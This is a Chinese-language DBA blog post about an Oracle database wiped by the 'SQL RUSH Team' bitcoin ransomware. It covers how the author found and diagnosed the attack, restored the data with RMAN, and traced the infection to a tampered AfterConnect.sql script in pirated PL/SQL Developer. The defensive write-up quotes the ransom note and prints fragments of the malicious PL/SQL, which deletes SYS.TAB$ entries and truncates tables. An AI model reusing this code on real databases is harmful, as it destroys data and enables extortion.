程序員，快收下這份比特幣「勒索病毒」應對須知！

作者 | JiekeXu

責編 | 胡巍巍

風險從來都不是臆想和草木皆兵，就在你不經意的時刻，可能風險就突然降臨到我們的身邊。

發現比特幣勒索病毒

業務賬號無法連接資料庫

2018年7月18日早上10點多，某公司一台資料庫無法使用業務賬號連接資料庫，嘗試使用PL/SQL去連接，要麼未響應被卡死，要麼等十幾分鐘也不能連接。

索性直接登錄伺服器使用此業務賬號去連接，登錄後使用SYS用戶很快就已連接，但此業務賬號就一直卡住不動，無法連接，如下圖所示：

查看操作系統後，發現CPU內存使用率均很高。也正是11：34分，午休時間時，情急下關閉了資料庫，重啟了操作系統，然後重新啟動資料庫。便去午休吃飯了，認為大事已解決，可以午休了。

大概吃完飯12：45分，回來後使用「CONN業務賬號/密碼」去登陸，等了十幾分鐘還是無法登陸，排除資料庫監聽沒問題（因為期間使用PL/SQL登陸上一次），開始懷疑是網路方面的原因了，於是乎開始排查網路，使用Ping命令開始Ping主機名、localhost、127.0.0.1均沒有問題。

使用tnsping也未發現問題，參考網上說是由於域名錯誤，便去查看域名cat /etc/resolv.conf沒發現異常，對比其他伺服器也是一樣。

此時已經一點半還未找到原因，但更頭疼的是業務人員告知業務系統無法打開，網頁直接報500錯誤，壞了，馬上登陸業務伺服器去查看日誌。

果然和猜想的一樣，數據源已斷開，在日誌中存在大量的無法連接數據源錯誤，當時沒有細看報錯的時間，便立即將業務應用停止。

冷靜分析後才想到去查看Alert日誌。查看日誌時讓人大吃一驚。頓時傻眼了。看到這樣的信息：

感覺不秒了,比特幣攻擊？怎麼可能?內網環境，雲伺服器，這怎麼會被攻擊呢？

Wed Jul 18 11:24:46 2018

Errors in file /u01/app/oracle/admin/YXXXX3/udump/xxxxxx3_ora_2674.trc:

ORA-00604: error occurred at recursive SQL level 1

ORA-20315: 你的資料庫已被SQL RUSH Team鎖死 發送5個比特幣到這個地址 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (大小寫一致) 之後把你的Oracle SID郵寄地址 sqlrush@mail.com 我們將讓你知道如何解鎖你的資料庫 Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (case sensitive), after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.

ORA-06512: at "FXXXX.DBMS_CORE_INTERNAL ", line 27ORA-06512: at line 2

Wed Jul 18 11:25:22 2018

Thread 1 advanced to log sequence 7963

Current log# 2 seq# 7963 mem# 0: / data/XXXXX3/redo02.logWed Jul 18 11:25:54 2018

Thread 1 cannot allocate new log, sequence 7964

Checkpoint not complete

Current log# 2 seq# 7963 mem# 0: /data/XXXXX3/redo02.log

Thread 1 advanced to log sequence 7964

Current log# 1 seq# 7964 mem# 0: /data/XXXXX3/redo01.log

Wed Jul 18 11:26:28 2018

Errors in file /u01/app/oracle/admin/ XXXXX3/udump/xxxxx3_ora_2710.trc:

ORA-00604: error occurred at recursive SQL level 1

ORA-20315: 你的資料庫已被SQL RUSH Team鎖死 發送5個比特幣到這個地址 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (大小寫一致) 之後把你的Oracle SID郵寄地址 sqlrush@mail.com 我們將讓你知道如何解鎖你的資料庫 Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (case sensitive), after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.

ORA-06512: at "FMXXXXX9.DBMS_CORE_INTERNAL ", line 27

ORA-06512: at line 2

Wed Jul 18 11:26:29 2018

Thread 1 advanced to log sequence 7965

Current log# 3 seq# 7965 mem# 0: /data1/XXXX3/redo03.log

Wed Jul 18 11:27:04 2018

但是看到這個告警日誌，不得不相信這又是SQL RUSH Team乾的好事，很明顯跟2016年11月份爆發的比特幣攻擊案例如出一轍。

--觸發器

"DBMS_CORE_INTERNAL ";

"DBMS_SYSTEM_INTERNAL ";

"DBMS_SUPPORT_INTERNAL ";

--存儲過程

"DBMS_CORE_INTERNAL ";

"DBMS_SYSTEM_INTERNAL ";

"DBMS_SUPPORT_INTERNAL ";

--查看存儲過程

SELECT text FROM user_source WHERE NAME = "DBMS_SYSTEM_INTERNAL "

ORDER BY line;

--查看觸發器

select trigger_name from all_triggers

where table_name="DBMS_SYSTEM_INTERNAL ";

經過檢查發現客戶的業務用戶XXX下面被創建了至少45萬個JOB。由於內容實在是太多了，試圖簡單拼一個SQL來刪除有問題的JOB。

select "exec dbms_ijob.remove("||job||");"

from dba_jobs

where schema_user="FXXX" and what like "%truncate%";

這樣一個語句，查了有10多分鐘近20分鐘沒有執行完已經是45萬之多JOB，無奈只能等待，期間查看了幾眼Alert日誌，發現日誌從10：23分已經在頻繁切換日誌。

Wed Jul 18 06:00:16 2018

Thread 1 advanced to log sequence 7953

Current log# 3 seq# 7953 mem# 0: /data/XXXXX3/redo03.log

Wed Jul 18 10:23:52 2018

Thread 1 advanced to log sequence 7954

Current log# 2 seq# 7954 mem# 0: /data/XXXXX3/redo02.log

Wed Jul 18 10:25:54 2018

Thread 1 advanced to log sequence 7955

Current log# 1 seq# 7955 mem# 0: /data/XXXXX3/redo01.log

Wed Jul 18 10:30:39 2018

Thread 1 advanced to log sequence 7956

Current log# 3 seq# 7956 mem# 0: /data/XXXXX3/redo03.log

由此可以判斷定有DDL操作，於是乎使用如下語句查看今天的DDL操作：

SELECT * FROM DBA_OBJECTS A

WHERE TO_CHAR(A.last_ddl_time,"YYYY-MM-DD")="2018-07-18"

AND OBJECT_TYPE="TABLE"

ORDER BY A.last_ddl_time DESC;

發現使用業務賬號有很多TRUNCATE語句，未保存當時的查看結果，不完全統計出大概有70多張表被TRUNCATE掉了。

此業務賬號業務量不大，平時操作也少，幾乎以將大半業務表刪除了。

資料庫基本已經癱瘓，此時已經下午三點零五分，使用SYS用戶也不能登錄了，只能重啟操作系統，重新啟動資料庫了，然後使用SYS用戶可正常連接了。

然後執行了命令alter system set job_queue_process=0 scope=both ;並重啟資料庫（為什麼要重啟呢？因為此時資料庫肯定已經產生了大量的library cache lock，無法操作)。

重啟後可以使用SYS連接，於是乎又關閉資料庫，做了一個物理冷備。

冷備完成後，啟動資料庫連接後查出了上面45萬多的JOB，複製到Excel中然後在命令行先執行了65535個exce dbms_ijob.remove(806141)；可是這個時間比較長，65535行執行了大概有一個小時多。

在此期間，無意中執行了一個RMAN全備，導致後面的恢復出現了問題，這個後面再說，等這65535個刪除完畢，想進行下一個刪除操作，但想著按這個時間算，至少得刪除10多小時了，還是想其他方法吧。

資料庫恢復

於是乎，還是使用RMAN做恢復，大概先了解這個資料庫的備份策略：登陸伺服器通過定時任務查看RMAN執行情況：

順便看了一下備份腳本，可以看到每周日有全備，每天有增量備份，查看日誌備份都沒問題，還是可以做恢復的，備份腳本如下，可供參考：

但是備份恢復還是需要歸檔日誌的，查看歸檔日誌發現當日6:00歸檔，10：23分有歸檔，無法判斷10：23分的這個歸檔是否可用。

故決定做不完全恢復，恢復到6：00，諮詢業務人員說六點以後也沒發生業務，可以這樣恢復。

於是便忙起恢復來，先打算在測試庫恢復一次看結果，但在測試庫搞了好久都沒搞完，遇到瓶頸測試庫和正式庫幾乎同步，名字都一樣，不好做恢復，嘗試使用各種辦法，就這樣到晚上8點多了。沒辦法，在正式庫直接恢復吧。

歸檔日誌做手腳

為何這麼說呢，歸檔日誌是連續的，便將10：23分的歸檔給重命名了，這樣歸檔不連續，後面的歸檔就不可用了，那為何要這樣做呢，是因為之前做基於時間點恢復時，語句如下：

run {

startup force mount;

allocate channel c1 type disk;

allocate channel c2 type disk;

set until time 』2018-07-18 08:50:14『;

restore database;

recover database;

alter database open resetlogs;

}

BUT，由於伺服器的時間格式不合適，時間轉換這裡出問題了，無法繼續，如下報錯：

修改時間格式後繼續運行但是又報錯，說缺失右括弧，但明顯右括弧也是英文狀態下的。

嘗試幾遍都沒問題，沒辦法（PS：後期有人說是環境變數沒配置，恢復完成後對環境變數配置如下：

[oracle@JiekeXu ~]$ tail -2 .bash_profile

export NLS_LANG=AMERICAN_AMERICA.AL32UTF8

export NLS_DATE_FORMAT="yyyy-mm-dd hh24:mi:ss"）

只能想其他的辦法了，基於RMAN的不完全恢復有三種方法：

1、 基於時間點的不完全恢復；

2、 基於SCN值的不完全恢復；

3、 基於日誌的不完全恢復；

當時的SCN號又沒辦法拿到，只能是歸檔日誌了，重命名10：23分的歸檔日誌，後期的日誌將不可用了，於是才進行了恢復。但在恢復時使用的是如下語句：

restore database;

recover database;

alter database open resetlogs;

資料庫直接尋找最近的一次全備，便找到下午4點多的全備了，欲哭無淚啊，沒辦法不能取消，只能等待恢復吧。

大概一個小時候恢復完了，沒有任何報錯，只是這個恢復很完美，但是讓高興不起來啊！

怎麼辦？於是想起來將下午的RMAN全備目錄重命名了，這樣備份恢復直接找周日的全備，使用周一周二的增量備份即可，說干就干，這樣操作後，便進行恢復：

Restore database；

Recover database；

這裡提示沒有歸檔日誌7953（因為之前給重命名啦），於是便出現這樣的問題，直接打開資料庫會報錯，但這裡出現了SCN號5965960546956，那便拿這個號來恢復一波吧：

好了，這樣就已經大功告成了，簡單查看之前被勒索的幾個表，數據已經恢復了。

最後的檢查

查詢了幾張丟失數據的表現在均有數據，使用業務賬號也可以登陸了，查看alert日誌也沒有發現異常，初步可以判定正常了。於是又檢查了存儲過程和觸發器，並未發現觸發器

"DBMS_CORE_INTERNAL ";

"DBMS_SUPPORT_INTERNAL ";

"DBMS_SYSTEM_INTERNAL ";

和存儲過程

"DBMS_CORE_INTERNAL ";

"DBMS_SUPPORT_INTERNAL ";

"DBMS_SYSTEM_INTERNAL ";

查看JOB也沒有相關記錄了，繼續觀察Alert日誌也沒發現問題，故可以重啟應用了，重啟完應用，查看前台業務並無異常，此事算是解決，告一段落了。

??????

安全、預防

??????

注意：當一個問題研究清楚之後，就不再會產生恐懼，恐懼來自於未知，在沒有遭到原因之前，大家的各種猜測導致問題擴大化，現在可以回到問題的本質上來了。

問題的根本原因是：如果用戶從互聯網上下載了盜版的PL/SQL Developer工具後（尤其是各種綠色版、破解版），就可能因為這個工具中招。

所以這個問題和Oracle本身關係不大，也沒有注入那麼複雜。而是隨著你使用這個工具，用戶的許可權就自然被附體的進行了入侵。

重要的問題要說三遍：盜版軟體害人！

PL/SQL Developer在中國的流行程度和盜版程度毋庸置疑。這個軟體的安裝目錄存在一個腳本文件AfterConnect.sql，這個腳本就是真正的問題所在。

正版軟體安裝，這個腳本文件是空文件，但是被注入的文件包含了一系列的JOB定義、存儲過程和觸發器定義，就是禍患的源頭。

受感染文件AfterConnect.sql開頭是這樣的，偽裝成一個login.sql的腳本內容，有清晰的注釋代碼：

BEGIN

SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;

IF (DATE1>=1200) THEN

EXECUTE IMMEDIATE "create table ORACHK"||SUBSTR(SYS_GUID,10)||" tablespace system as select * from sys.tab$";

DELETE SYS.TAB$ WHERE DATAOBJ# IN (SELECT DATAOBJ# FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ;

COMMIT;

EXECUTE IMMEDIATE "alter system checkpoint";

SYS.DBMS_BACKUP_RESTORE.RESETCFILESECTION(14);

FOR I IN 1..2046 LOOP

END LOOP;

END IF;

END;

請注意黑客的專業性，在程序的開端有以下部分判斷：

SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;

IF (DATE1>=1200) THEN

也就是，判斷資料庫創建時間大於1200天，才開始動作（這個判斷相當有見地，小庫和新庫，數據少不重要，先放長線釣大魚），如果你的資料庫還沒有爆發，那可能是因為時間還沒有到。

下載來源不明、漢化來歷不明、破解來歷不明的工具是資料庫管理大忌，以下列出了常見客戶端工具的腳本位置，需要引起注意：

SQL*Plus: glogin.sql / login.sql

TOAD : toad.ini

PLSQLdeveloper: login.sql / afterconnect.sql

我們強烈建議用戶加強資料庫的許可權管控、生產環境和測試環境隔離，嚴格管控開發和運維工具。

處置建議：

這個攻擊是通過JOB、觸發器、存儲過程來協同工具的，所以如果資料庫遭遇到這個問題，可以將JOB參數job_queue_processes設置為0，屏蔽掉JOB的執行，然後重啟資料庫。可以清除注入對象，這些對象可能包括以下同名觸發器和存儲過程：

PROCEDURE "DBMS_CORE_INTERNAL "

PROCEDURE "DBMS_SYSTEM_INTERNAL "

PROCEDURE "DBMS_SUPPORT_INTERNAL "

而攻擊的核心代碼還包括，這會Truncate數據表：

STAT:="truncate table "||USER||"."||I.TABLE_NAME;

參考資料：

作者簡介：JiekeXu,2017年畢業於某本科院校，從事於資料庫運維行業，一個熱愛Python的DBA。

喜歡這篇文章嗎？立刻分享出去讓更多人知道吧！